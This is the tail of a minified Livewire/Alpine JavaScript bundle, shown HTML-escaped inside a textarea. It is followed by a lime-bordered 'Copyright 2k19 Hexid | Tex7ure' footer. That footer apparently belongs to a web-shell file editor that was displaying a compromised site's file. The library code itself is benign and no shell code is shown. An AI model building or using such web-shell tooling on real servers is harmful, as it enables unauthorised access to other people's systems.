  var inBackground = false;
  document.addEventListener(&quot;visibilitychange&quot;, () =&gt; {
    inBackground = document.hidden;
  }, false);
  function theTabIsInTheBackground() {
    return inBackground;
  }
  function theDirectiveIsOffTheElement(el) {
    return !getDirectives(el).has(&quot;poll&quot;);
  }
  function theDirectiveIsMissingKeepAlive(directive3) {
    return !directive3.modifiers.includes(&quot;keep-alive&quot;);
  }
  function theDirectiveHasVisible(directive3) {
    return directive3.modifiers.includes(&quot;visible&quot;);
  }
  function theElementIsNotInTheViewport(el) {
    let bounding = el.getBoundingClientRect();
    return !(bounding.top &lt; (window.innerHeight || document.documentElement.clientHeight) &amp;&amp; bounding.left &lt; (window.innerWidth || document.documentElement.clientWidth) &amp;&amp; bounding.bottom &gt; 0 &amp;&amp; bounding.right &gt; 0);
  }
  function theElementIsDisconnected(el) {
    return el.isConnected === false;
  }
  function extractDurationFrom(modifiers, defaultDuration) {
    let durationInMilliSeconds;
    let durationInMilliSecondsString = modifiers.find((mod) =&gt; mod.match(/([0-9]+)ms/));
    let durationInSecondsString = modifiers.find((mod) =&gt; mod.match(/([0-9]+)s/));
    if (durationInMilliSecondsString) {
      durationInMilliSeconds = Number(durationInMilliSecondsString.replace(&quot;ms&quot;, &quot;&quot;));
    } else if (durationInSecondsString) {
      durationInMilliSeconds = Number(durationInSecondsString.replace(&quot;s&quot;, &quot;&quot;)) * 1e3;
    }
    return durationInMilliSeconds || defaultDuration;
  }

  // js/index.js
  var Livewire2 = {
    directive: directive2,
    dispatchTo,
    start: start2,
    first,
    find,
    getByName,
    all,
    hook: on2,
    trigger: trigger2,
    triggerAsync,
    dispatch: dispatchGlobal,
    on: on3,
    get navigate() {
      return module_default.navigate;
    }
  };
  var warnAboutMultipleInstancesOf = (entity) =&gt; console.warn(`Detected multiple instances of ${entity} running`);
  if (window.Livewire)
    warnAboutMultipleInstancesOf(&quot;Livewire&quot;);
  if (window.Alpine)
    warnAboutMultipleInstancesOf(&quot;Alpine&quot;);
  window.Livewire = Livewire2;
  window.Alpine = module_default;
  if (window.livewireScriptConfig === void 0) {
    window.Alpine.__fromLivewire = true;
    document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {
      if (window.Alpine.__fromLivewire === void 0) {
        warnAboutMultipleInstancesOf(&quot;Alpine&quot;);
      }
      Livewire2.start();
    });
  }
})();
/* NProgress, (c) 2013, 2014 Rico Sta. Cruz - http://ricostacruz.com/nprogress
 * @license MIT */
/*! Bundled license information:

tabbable/dist/index.esm.js:
  (*!
  * tabbable 5.3.3
  * @license MIT, https://github.com/focus-trap/tabbable/blob/master/LICENSE
  *)

focus-trap/dist/focus-trap.esm.js:
  (*!
  * focus-trap 6.9.4
  * @license MIT, https://github.com/focus-trap/focus-trap/blob/master/LICENSE
  *)
*/
</textarea></center></from><br/><center><table bordercolor="lime" style="border-radius:4px;width:90%;" align="center"><td>

<b><center>Copyright &copy;2k19 - <font color="lime" face="New Rocker" size="2">Hexid</font> | <a href="mailto:tex7ure@yahoo.com">Tex7ure</a>
</center></font></table</b></center>

</body>
</html>